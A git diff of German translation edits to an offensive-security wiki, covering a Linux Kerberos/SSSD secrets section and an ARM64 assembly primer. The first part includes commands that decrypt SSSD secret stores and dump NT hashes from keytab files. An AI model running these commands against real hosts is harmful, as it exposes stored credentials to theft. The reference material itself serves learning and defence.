`/var/lib/sss/secrets/.secrets.mkey` gespeichert. Standardmäßig ist der Schlüssel nur lesbar, wenn Sie **root**-Berechtigungen haben. -Das Aufrufen von \*\*`SSSDKCMExtractor` \*\* mit den Parametern --database und --key wird die Datenbank analysieren und **die Geheimnisse entschlüsseln**. +Das Aufrufen von **`SSSDKCMExtractor`** mit den Parametern --database und --key wird die Datenbank analysieren und **die Geheimnisse entschlüsseln**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey @@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab Servicekonto-Schlüssel, die für Dienste mit Root-Rechten unerlässlich sind, werden sicher in **`/etc/krb5.keytab`**-Dateien gespeichert. Diese Schlüssel, ähnlich wie Passwörter für Dienste, erfordern strikte Vertraulichkeit. -Um den Inhalt der Keytab-Datei zu überprüfen, kann **`klist`** verwendet werden. Das Tool ist dafür ausgelegt, Schlüsseldetails anzuzeigen, einschließlich des **NT Hash** zur Benutzerauthentifizierung, insbesondere wenn der Schlüsseltyp als 23 identifiziert wird. +Um den Inhalt der Keytab-Datei zu überprüfen, kann **`klist`** verwendet werden. Das Tool ist dafür ausgelegt, Schlüsseldetails anzuzeigen, einschließlich des **NT Hash** für die Benutzerauthentifizierung, insbesondere wenn der Schlüsseltyp als 23 identifiziert wird. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 6f2cee7e7..ca4ff9c24 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -7,7 +7,7 @@ In der ARMv8-Architektur definieren die Ausführungsebenen, bekannt als Ausnahmeebenen (ELs), das Privilegieniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Ausnahmeebenen, die von EL0 bis EL3 reichen, wobei jede eine andere Funktion erfüllt: 1. **EL0 - Benutzermodus**: -- Dies ist die am wenigsten privilegierte Ebene und wird für die Ausführung regulärer Anwendungssoftware verwendet. +- Dies ist die am wenigsten privilegierte Ebene und wird zur Ausführung regulärer Anwendungssoftware verwendet. - Anwendungen, die auf EL0 ausgeführt werden, sind voneinander und von der Systemsoftware isoliert, was die Sicherheit und Stabilität erhöht. 2. **EL1 - Betriebssystem-Kernelmodus**: - Die meisten Betriebssystemkerne laufen auf dieser Ebene. @@ -17,7 +17,7 @@ In der ARMv8-Architektur definieren die Ausführungsebenen, bekannt als Ausnahme - EL2 bietet Funktionen zur Isolation und Kontrolle der virtualisierten Umgebungen. 4. **EL3 - Sicherer Monitor-Modus**: - Dies ist die privilegierteste Ebene und wird häufig für sicheres Booten und vertrauenswürdige Ausführungsumgebungen verwendet. -- EL3 kann Zugriffe zwischen sicheren und nicht-sicheren Zuständen verwalten und steuern (wie sicheres Booten, vertrauenswürdiges OS usw.). +- EL3 kann Zugriffe zwischen sicheren und nicht sicheren Zuständen (wie sicherem Booten, vertrauenswürdigem OS usw.) verwalten und steuern. Die Verwendung dieser Ebenen ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis hin zu den privilegiertesten Systemsoftware. Der Ansatz von ARMv8 zu Privilegienebenen hilft, verschiedene Systemkomponenten effektiv zu isolieren, wodurch die Sicherheit und Robustheit des Systems erhöht wird. @@ -26,22 +26,22 @@ Die Verwendung dieser Ebenen ermöglicht eine strukturierte und sichere Verwaltu ARM64 hat **31 allgemeine Register**, die von `x0` bis `x30` beschriftet sind. Jedes kann einen **64-Bit** (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte erfordern, können dieselben Register im 32-Bit-Modus mit den Namen w0 bis w30 angesprochen werden. 1. **`x0`** bis **`x7`** - Diese werden typischerweise als Scratch-Register und zum Übergeben von Parametern an Unterprogramme verwendet. -- **`x0`** trägt auch die Rückgabedaten einer Funktion +- **`x0`** trägt auch die Rückgabedaten einer Funktion. 2. **`x8`** - Im Linux-Kernel wird `x8` als Systemaufrufnummer für die `svc`-Anweisung verwendet. **In macOS wird x16 verwendet!** 3. **`x9`** bis **`x15`** - Weitere temporäre Register, die oft für lokale Variablen verwendet werden. 4. **`x16`** und **`x17`** - **Intra-prozedurale Aufrufregister**. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT (Procedure Linkage Table) Stub verwendet. - **`x16`** wird als **Systemaufrufnummer** für die **`svc`**-Anweisung in **macOS** verwendet. -5. **`x18`** - **Plattformregister**. Es kann als allgemeines Register verwendet werden, aber auf einigen Plattformen ist dieses Register für plattformspezifische Verwendungen reserviert: Zeiger auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die aktuell **ausführende Aufgabenstruktur im Linux-Kernel** zu zeigen. +5. **`x18`** - **Plattformregister**. Es kann als allgemeines Register verwendet werden, aber auf einigen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Zeiger auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die aktuell **ausführende Aufgabenstruktur im Linux-Kernel** zu zeigen. 6. **`x19`** bis **`x28`** - Dies sind callee-saved Register. Eine Funktion muss die Werte dieser Register für ihren Aufrufer bewahren, sodass sie im Stack gespeichert und vor der Rückkehr zum Aufrufer wiederhergestellt werden. 7. **`x29`** - **Frame-Zeiger**, um den Stackrahmen zu verfolgen. Wenn ein neuer Stackrahmen erstellt wird, weil eine Funktion aufgerufen wird, wird das **`x29`**-Register **im Stack gespeichert** und die **neue** Frame-Zeigeradresse (Adresse von **`sp`**) wird **in diesem Register gespeichert**. - Dieses Register kann auch als **allgemeines Register** verwendet werden, obwohl es normalerweise als Referenz für **lokale Variablen** verwendet wird. 8. **`x30`** oder **`lr`** - **Link-Register**. Es hält die **Rückgabeadresse**, wenn eine `BL` (Branch with Link) oder `BLR` (Branch with Link to Register) Anweisung ausgeführt wird, indem der **`pc`**-Wert in diesem Register gespeichert wird. - Es könnte auch wie jedes andere Register verwendet werden. -- Wenn die aktuelle Funktion eine neue Funktion aufrufen und daher `lr` überschreiben wird, wird es zu Beginn im Stack gespeichert, dies ist der Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichern von `fp` und `lr`, Platz schaffen und neuen `fp` erhalten) und am Ende wiederhergestellt, dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr). +- Wenn die aktuelle Funktion eine neue Funktion aufrufen und daher `lr` überschreiben wird, wird sie zu Beginn im Stack gespeichert, dies ist der Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichern von `fp` und `lr`, Platz schaffen und neuen `fp` erhalten) und am Ende wiederhergestellt, dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr). 9. **`sp`** - **Stack-Zeiger**, der verwendet wird, um den oberen Teil des Stacks zu verfolgen. - Der **`sp`**-Wert sollte immer mindestens auf eine **Quadword**-**Ausrichtung** gehalten werden, da sonst eine Ausrichtungsfehler auftreten kann. -10. **`pc`** - **Program Counter**, der auf die nächste Anweisung zeigt. Dieses Register kann nur durch Ausnahmeerzeugungen, Ausnahme-Rückgaben und Sprünge aktualisiert werden. Die einzigen gewöhnlichen Anweisungen, die dieses Register lesen können, sind Sprünge mit Link-Anweisungen (BL, BLR), um die **`pc`**-Adresse in **`lr`** (Link-Register) zu speichern. -11. **`xzr`** - **Null-Register**. Auch als **`wzr`** in seiner **32**-Bit-Registerform bezeichnet. Kann verwendet werden, um den Nullwert einfach zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen, wie **`subs XZR, Xn, #10`**, wobei die resultierenden Daten nirgendwo gespeichert werden (in **`xzr`**). +10. **`pc`** - **Program Counter**, der auf die nächste Anweisung zeigt. Dieses Register kann nur durch Ausnahmeerzeugungen, Ausnahme-Rückgaben und Sprünge aktualisiert werden. Die einzigen gewöhnlichen Anweisungen, die dieses Register lesen können, sind Sprünge mit Link-Anweisungen (BL, BLR), um die **`pc`**-Adresse im **`lr`** (Link-Register) zu speichern. +11. **`xzr`** - **Null-Register**. Auch in seiner **32**-Bit-Registerform als **`wzr`** bezeichnet. Kann verwendet werden, um den Nullwert einfach zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen, wie **`subs XZR, Xn, #10`**, wobei die resultierenden Daten nirgendwo gespeichert werden (in **`xzr`**). Die **`Wn`**-Register sind die **32-Bit**-Version der **`Xn`**-Register. @@ -54,7 +54,7 @@ Darüber hinaus gibt es weitere **32 Register mit einer Länge von 128 Bit**, di **Es gibt Hunderte von Systemregistern**, auch als spezielle Register (SPRs) bezeichnet, die zur **Überwachung** und **Steuerung** des Verhaltens von **Prozessoren** verwendet werden.\ Sie können nur mit den speziellen Anweisungen **`mrs`** und **`msr`** gelesen oder gesetzt werden. -Die speziellen Register **`TPIDR_EL0`** und **`TPIDDR_EL0`** sind häufig beim Reverse Engineering zu finden. Der `EL0`-Suffix zeigt die **minimale Ausnahme** an, von der aus das Register zugegriffen werden kann (in diesem Fall ist EL0 das reguläre Ausnahmeniveau (Privileg), mit dem reguläre Programme ausgeführt werden).\ +Die speziellen Register **`TPIDR_EL0`** und **`TPIDDR_EL0`** sind häufig beim Reverse Engineering zu finden. Der `EL0`-Suffix zeigt die **minimale Ausnahme** an, von der aus das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Ausnahmeniveau (Privilegienniveau), mit dem reguläre Programme ausgeführt werden).\ Sie werden oft verwendet, um die **Basisadresse des thread-lokalen Speicherbereichs** im Speicher zu speichern. In der Regel ist das erste für Programme, die in EL0 laufen, lesbar und schreibbar, aber das zweite kann von EL0 gelesen und von EL1 (wie Kernel) geschrieben werden. - `mrs x0, TPIDR_EL0 ; Lese TPIDR_EL0 in x0` @@ -67,10 +67,10 @@ Dies sind die zugänglichen Felder:
-- Die **`N`**, **`Z`**, **`C`** und **`V`**-Bedingungsflags: -- **`N`** bedeutet, dass die Operation ein negatives Ergebnis geliefert hat -- **`Z`** bedeutet, dass die Operation null ergeben hat -- **`C`** bedeutet, dass die Operation einen Übertrag hatte +- Die **`N`**, **`Z`**, **`C`** und **`V`** Bedingungsflags: +- **`N`** bedeutet, dass die Operation ein negatives Ergebnis geliefert hat. +- **`Z`** bedeutet, dass die Operation null ergeben hat. +- **`C`** bedeutet, dass die Operation einen Übertrag hatte. - **`V`** bedeutet, dass die Operation einen signierten Überlauf ergeben hat: - Die Summe von zwei positiven Zahlen ergibt ein negatives Ergebnis. - Die Summe von zwei negativen Zahlen ergibt ein positives Ergebnis. @@ -80,19 +80,19 @@ Dies sind die zugänglichen Felder: > [!WARNING] > Nicht alle Anweisungen aktualisieren diese Flags. Einige wie **`CMP`** oder **`TST`** tun dies, und andere, die ein s-Suffix haben, wie **`ADDS`**, tun es ebenfalls. -- Das aktuelle **Registerbreite (`nRW`) Flag**: Wenn das Flag den Wert 0 hat, wird das Programm im AArch64-Ausführungszustand fortgesetzt, sobald es wieder aufgenommen wird. -- Das aktuelle **Ausnahmelevel** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0 -- Das **Single-Stepping**-Flag (**`SS`**): Wird von Debuggern verwendet, um einen Schritt auszuführen, indem das SS-Flag auf 1 innerhalb von **`SPSR_ELx`** durch eine Ausnahme gesetzt wird. Das Programm führt einen Schritt aus und löst eine Einzelstepp-Ausnahme aus. -- Das **illegal exception**-Zustandsflag (**`IL`**): Es wird verwendet, um zu kennzeichnen, wann eine privilegierte Software einen ungültigen Ausnahmelevel-Transfer durchführt, dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegale Zustandsausnahme aus. +- Das aktuelle **Registerbreite (`nRW`) Flag**: Wenn das Flag den Wert 0 hat, wird das Programm im AArch64-Ausführungszustand ausgeführt, sobald es fortgesetzt wird. +- Das aktuelle **Ausnahmelevel** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0. +- Das **Single-Stepping**-Flag (**`SS`**): Wird von Debuggern verwendet, um einen Schritt auszuführen, indem das SS-Flag auf 1 innerhalb von **`SPSR_ELx`** durch eine Ausnahme gesetzt wird. Das Programm wird einen Schritt ausführen und eine Einzelstepp-Ausnahme auslösen. +- Das **illegal exception**-Zustandsflag (**`IL`**): Es wird verwendet, um zu kennzeichnen, wenn eine privilegierte Software einen ungültigen Ausnahmelevel-Transfer durchführt, dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegale Zustandsausnahme aus. - Die **`DAIF`**-Flags: Diese Flags ermöglichen es einem privilegierten Programm, bestimmte externe Ausnahmen selektiv zu maskieren. -- Wenn **`A`** 1 ist, bedeutet dies, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware-**Interrupt-Anfragen** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). +- Wenn **`A`** 1 ist, bedeutet dies, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupts Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). - Die **Stack-Zeiger-Auswahl**-Flags (**`SPS`**): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Zeiger-Registers und dem Benutzer-Modell wechseln (z. B. zwischen `SP_EL1` und `EL0`). Dieser Wechsel erfolgt durch Schreiben in das **`SPSel`**-Sonderregister. Dies kann nicht von EL0 aus erfolgen. ## **Aufrufkonvention (ARM64v8)** Die ARM64-Aufrufkonvention legt fest, dass die **ersten acht Parameter** an eine Funktion in den Registern **`x0` bis `x7`** übergeben werden. **Zusätzliche** Parameter werden auf dem **Stack** übergeben. Der **Rückgabewert** wird im Register **`x0`** oder in **`x1`** zurückgegeben, wenn er **128 Bit lang** ist. Die Register **`x19`** bis **`x30`** und **`sp`** müssen **bewahrt** werden, wenn Funktionsaufrufe erfolgen. -Beim Lesen einer Funktion in Assembler sollte man nach dem **Funktionsprolog und -epilog** suchen. Der **Prolog** umfasst normalerweise das **Speichern des Frame-Zeigers (`x29`)**, das **Einrichten** eines **neuen Frame-Zeigers** und das **Zuweisen von Stackplatz**. Der **Epilog** umfasst normalerweise das **Wiederherstellen des gespeicherten Frame-Zeigers** und das **Rückkehren** aus der Funktion. +Beim Lesen einer Funktion in Assembler sollten Sie nach dem **Funktionsprolog und -epilog** suchen. Der **Prolog** umfasst normalerweise das **Speichern des Frame-Zeigers (`x29`)**, das **Einrichten** eines **neuen Frame-Zeigers** und das **Zuweisen von Stackplatz**. Der **Epilog** umfasst normalerweise das **Wiederherstellen des gespeicherten Frame-Zeigers** und das **Rückkehren** von der Funktion. ### Aufrufkonvention in Swift @@ -107,107 +107,107 @@ ARM64-Anweisungen haben im Allgemeinen das **Format `opcode dst, src1, src2`**, - **`ldr`**: **Lade** einen Wert aus dem **Speicher** in ein **Register**. - Beispiel: `ldr x0, [x1]` — Dies lädt einen Wert von der Speicheradresse, die von `x1` angegeben wird, in `x0`. - **Offset-Modus**: Ein Offset, der den ursprünglichen Zeiger beeinflusst, wird angegeben, zum Beispiel: -- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) \* 4 +- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8. +- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) \* 4. - **Pre-indexierter Modus**: Dies wendet Berechnungen auf den Ursprung an, erhält das Ergebnis und speichert auch den neuen Ursprung im Ursprung. -- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert das Ergebnis in x1 -- `str lr, [sp, #-4]!`, Speichert das Link-Register in sp und aktualisiert das Register sp -- **Post-indexierter Modus**: Dies ist wie der vorherige, aber die Speicheradresse wird zuerst zugegriffen und dann wird der Offset berechnet und gespeichert. -- `ldr x0, [x1], #8`, lade `x1` in `x0` und aktualisiere x1 mit `x1 + 8` -- **PC-relative Adressierung**: In diesem Fall wird die Adresse, die geladen werden soll, relativ zum PC-Register berechnet -- `ldr x1, =_start`, Dies lädt die Adresse, an der das `_start`-Symbol beginnt, in x1 in Bezug auf den aktuellen PC. +- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert das Ergebnis in x1. +- `str lr, [sp, #-4]!`, speichert das Link-Register in sp und aktualisiert das Register sp. +- **Post-indexierter Modus**: Dies ist wie der vorherige, aber die Speicheradresse wird zuerst aufgerufen und dann wird der Offset berechnet und gespeichert. +- `ldr x0, [x1], #8`, lädt `x1` in `x0` und aktualisiert x1 mit `x1 + 8`. +- **PC-relative Adressierung**: In diesem Fall wird die Adresse, die geladen werden soll, relativ zum PC-Register berechnet. +- `ldr x1, =_start`, dies lädt die Adresse, an der das `_start`-Symbol beginnt, in x1, bezogen auf den aktuellen PC. - **`str`**: **Speichere** einen Wert von einem **Register** in den **Speicher**. - Beispiel: `str x0, [x1]` — Dies speichert den Wert in `x0` an der Speicheradresse, die von `x1` angegeben wird. -- **`ldp`**: **Lade ein Paar von Registern**. Diese Anweisung **lädt zwei Register** aus **aufeinanderfolgenden Speicher**-Standorten. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register hinzugefügt wird. -- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` von den Speicherorten bei `x2` und `x2 + 8`. -- **`stp`**: **Speichere ein Paar von Registern**. Diese Anweisung **speichert zwei Register** in **aufeinanderfolgende Speicher**-Standorte. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register hinzugefügt wird. -- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicherorten bei `sp` und `sp + 8`. -- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an den Speicherorten bei `sp+16` und `sp + 24` und aktualisiert `sp` mit `sp+16`. +- **`ldp`**: **Lade ein Paar von Registern**. Diese Anweisung **lädt zwei Register** aus **aufeinanderfolgenden Speicher**-Standorten. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird. +- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` von den Speicheradressen bei `x2` und `x2 + 8`. +- **`stp`**: **Speichere ein Paar von Registern**. Diese Anweisung **speichert zwei Register** in **aufeinanderfolgende Speicher**-Standorte. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird. +- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp` und `sp + 8`. +- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp+16` und `sp + 24` und aktualisiert `sp` mit `sp+16`. - **`add`**: **Addiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register. - Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Ziel - Xn2 -> Operand 1 - Xn3 | #imm -> Operand 2 (Register oder sofort) -- \[shift #N | RRX] -> Führe eine Verschiebung durch oder rufe RRX auf +- \[shift #N | RRX] -> Führe eine Verschiebung durch oder rufe RRX auf. - Beispiel: `add x0, x1, x2` — Dies addiert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`. -- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (ein 1-Verschieber 12 Mal) -> 1 0000 0000 0000 0000 -- **`adds`** Dies führt ein `add` aus und aktualisiert die Flags +- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (ein 1-Verschieber 12 Mal) -> 1 0000 0000 0000 0000. +- **`adds`** Dies führt ein `add` aus und aktualisiert die Flags. - **`sub`**: **Subtrahiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register. -- Überprüfe die **`add`**-**Syntax**. +- Überprüfen Sie die **`add`** **Syntax**. - Beispiel: `sub x0, x1, x2` — Dies subtrahiert den Wert in `x2` von `x1` und speichert das Ergebnis in `x0`. -- **`subs`** Dies ist wie sub, aber aktualisiert das Flag +- **`subs`** Dies ist wie sub, aber aktualisiert das Flag. - **`mul`**: **Multipliziere** die Werte von **zwei Registern** und speichere das Ergebnis in einem Register. - Beispiel: `mul x0, x1, x2` — Dies multipliziert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`. -- **`div`**: **Dividiere** den Wert eines Registers durch einen anderen und speichere das Ergebnis in einem Register. -- Beispiel: `div x0, x1, x2` — Dies dividiert den Wert in `x1` durch `x2` und speichert das Ergebnis in `x0`. +- **`div`**: **Teile** den Wert eines Registers durch ein anderes und speichere das Ergebnis in einem Register. +- Beispiel: `div x0, x1, x2` — Dies teilt den Wert in `x1` durch `x2` und speichert das Ergebnis in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logische Verschiebung nach links**: Füge 0en am Ende hinzu, während die anderen Bits nach vorne verschoben werden (multipliziere mit n-mal 2) -- **Logische Verschiebung nach rechts**: Füge 1en am Anfang hinzu, während die anderen Bits nach hinten verschoben werden (dividiere mit n-mal 2 in unsigned) -- **Arithmetische Verschiebung nach rechts**: Wie **`lsr`**, aber anstelle von 0en, wenn das bedeutendste Bit 1 ist, werden **1en hinzugefügt** (teile mit n-mal 2 in signed) -- **Rechtsrotation**: Wie **`lsr`**, aber was von rechts entfernt wird, wird links angehängt -- **Rechtsrotation mit Erweiterung**: Wie **`ror`**, aber mit dem Übertragsflag als "bedeutendstes Bit". Das Übertragsflag wird also auf Bit 31 verschoben und das entfernte Bit in das Übertragsflag. -- **`bfm`**: **Bitfeldverschiebung**, diese Operationen **kopieren Bits `0...n`** von einem Wert und platzieren sie in den Positionen **`m..m+n`**. Die **`#s`** gibt die **linkeste Bitposition** an und **`#r`** die **Verschiebung nach rechts**. +- **Logische Verschiebung nach links**: Füge 0en am Ende hinzu, indem die anderen Bits nach vorne verschoben werden (multipliziere mit n-mal 2). +- **Logische Verschiebung nach rechts**: Füge 1en am Anfang hinzu, indem die anderen Bits nach hinten verschoben werden (teile durch n-mal 2 in unsigned). +- **Arithmetische Verschiebung nach rechts**: Wie **`lsr`**, aber anstelle von 0en, wenn das bedeutendste Bit 1 ist, werden **1en hinzugefügt** (teile durch n-mal 2 in signed). +- **Rechtsrotation**: Wie **`lsr`**, aber was von rechts entfernt wird, wird links angehängt. +- **Rechtsrotation mit Erweiterung**: Wie **`ror`**, aber mit dem Übertragsflag als "bedeutendstes Bit". Das Übertragsflag wird also auf das Bit 31 verschoben und das entfernte Bit zum Übertragsflag. +- **`bfm`**: **Bitfeldverschiebung**, diese Operationen **kopieren Bits `0...n`** von einem Wert und platzieren sie in den Positionen **`m..m+n`**. Die **`#s`** gibt die **linkeste Bitposition** an und **`#r`** die **Rechtsverschiebungsmenge**. - Bitfeldverschiebung: `BFM Xd, Xn, #r` - Signierte Bitfeldverschiebung: `SBFM Xd, Xn, #r, #s` - Unsigned Bitfeldverschiebung: `UBFM Xd, Xn, #r, #s` - **Bitfeld extrahieren und einfügen:** Kopiere ein Bitfeld von einem Register und kopiere es in ein anderes Register. -- **`BFI X1, X2, #3, #4`** Füge 4 Bits von X2 ab dem 3. Bit von X1 ein -- **`BFXIL X1, X2, #3, #4`** Extrahiere von dem 3. Bit von X2 vier Bits und kopiere sie nach X1 -- **`SBFIZ X1, X2, #3, #4`** Signerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden -- **`SBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, signiert sie und platziert das Ergebnis in X1 -- **`UBFIZ X1, X2, #3, #4`** Nullerweitert 4 Bits von X2 und fügt sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden -- **`UBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, und platziert das nullerweitere Ergebnis in X1. +- **`BFI X1, X2, #3, #4`** Füge 4 Bits von X2 vom 3. Bit von X1 ein. +- **`BFXIL X1, X2, #3, #4`** Extrahiere von dem 3. Bit von X2 vier Bits und kopiere sie nach X1. +- **`SBFIZ X1, X2, #3, #4`** Signerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden. +- **`SBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, signiert sie und platziert das Ergebnis in X1. +- **`UBFIZ X1, X2, #3, #4`** Nullerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden. +- **`UBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, und platziert das nullerweiterte Ergebnis in X1. - **Sign Extend To X:** Erweitert das Vorzeichen (oder fügt einfach 0en in der unsigned-Version hinzu) eines Wertes, um Operationen damit durchführen zu können: -- **`SXTB X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die Hälfte von `X2`), um die 64 Bits zu füllen -- **`SXTH X1, W2`** Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1**, um die 64 Bits zu füllen -- **`SXTW X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1**, um die 64 Bits zu füllen -- **`UXTB X1, W2`** Fügt 0en (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bits zu füllen +- **`SXTB X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die Hälfte von `X2`), um die 64 Bits zu füllen. +- **`SXTH X1, W2`** Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1**, um die 64 Bits zu füllen. +- **`SXTW X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1**, um die 64 Bits zu füllen. +- **`UXTB X1, W2`** Fügt 0en (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bits zu füllen. - **`extr`:** Extrahiert Bits aus einem angegebenen **Paar von zusammengefügten Registern**. - Beispiel: `EXTR W3, W2, W1, #3` Dies wird **W1+W2 zusammenfügen** und **von Bit 3 von W2 bis Bit 3 von W1** extrahieren und in W3 speichern. - **`cmp`**: **Vergleiche** zwei Register und setze Bedingungsflags. Es ist ein **Alias von `subs`**, der das Zielregister auf das Nullregister setzt. Nützlich, um zu wissen, ob `m == n`. -- Es unterstützt die **gleiche Syntax wie `subs`** +- Es unterstützt die **gleiche Syntax wie `subs`**. - Beispiel: `cmp x0, x1` — Dies vergleicht die Werte in `x0` und `x1` und setzt die Bedingungsflags entsprechend. -- **`cmn`**: **Vergleiche negativen** Operanden. In diesem Fall ist es ein **Alias von `adds`** und unterstützt die gleiche Syntax. Nützlich, um zu wissen, ob `m == -n`. +- **`cmn`**: **Vergleiche negative** Operanden. In diesem Fall ist es ein **Alias von `adds`** und unterstützt die gleiche Syntax. Nützlich, um zu wissen, ob `m == -n`. - **`ccmp`**: Bedingter Vergleich, es ist ein Vergleich, der nur durchgeführt wird, wenn ein vorheriger Vergleich wahr war und speziell die nzcv-Bits setzt. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func. - Dies liegt daran, dass **`ccmp`** nur ausgeführt wird, wenn der **vorherige `cmp` ein `NE` war**, wenn nicht, werden die Bits `nzcv` auf 0 gesetzt (was den `blt`-Vergleich nicht erfüllt). -- Dies kann auch als `ccmn` verwendet werden (dasselbe, aber negativ, wie `cmp` vs `cmn`). +- Dies kann auch als `ccmn` verwendet werden (gleich, aber negativ, wie `cmp` vs `cmn`). - **`tst`**: Überprüft, ob einer der Werte des Vergleichs beide 1 sind (es funktioniert wie ein ANDS, ohne das Ergebnis irgendwo zu speichern). Es ist nützlich, um ein Register mit einem Wert zu überprüfen und zu sehen, ob eines der Bits des Registers, das im Wert angegeben ist, 1 ist. -- Beispiel: `tst X1, #7` Überprüfe, ob eines der letzten 3 Bits von X1 1 ist -- **`teq`**: XOR-Operation, die das Ergebnis verwirft -- **`b`**: Unbedingter Sprung -- Beispiel: `b myFunction` -- Beachte, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen) -- **`bl`**: **Sprung** mit Link, verwendet, um ein **Unterprogramm** aufzurufen. Speichert die **Rückgabeadresse in `x30`**. +- Beispiel: `tst X1, #7` Überprüfe, ob eines der letzten 3 Bits von X1 1 ist. +- **`teq`**: XOR-Operation, die das Ergebnis verwirft. +- **`b`**: Unbedingter Sprung. +- Beispiel: `b myFunction`. +- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen). +- **`bl`**: **Sprung** mit Link, verwendet, um eine **Unterroutine** **aufzurufen**. Speichert die **Rückgabeadresse in `x30`**. - Beispiel: `bl myFunction` — Dies ruft die Funktion `myFunction` auf und speichert die Rückgabeadresse in `x30`. -- Beachte, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet 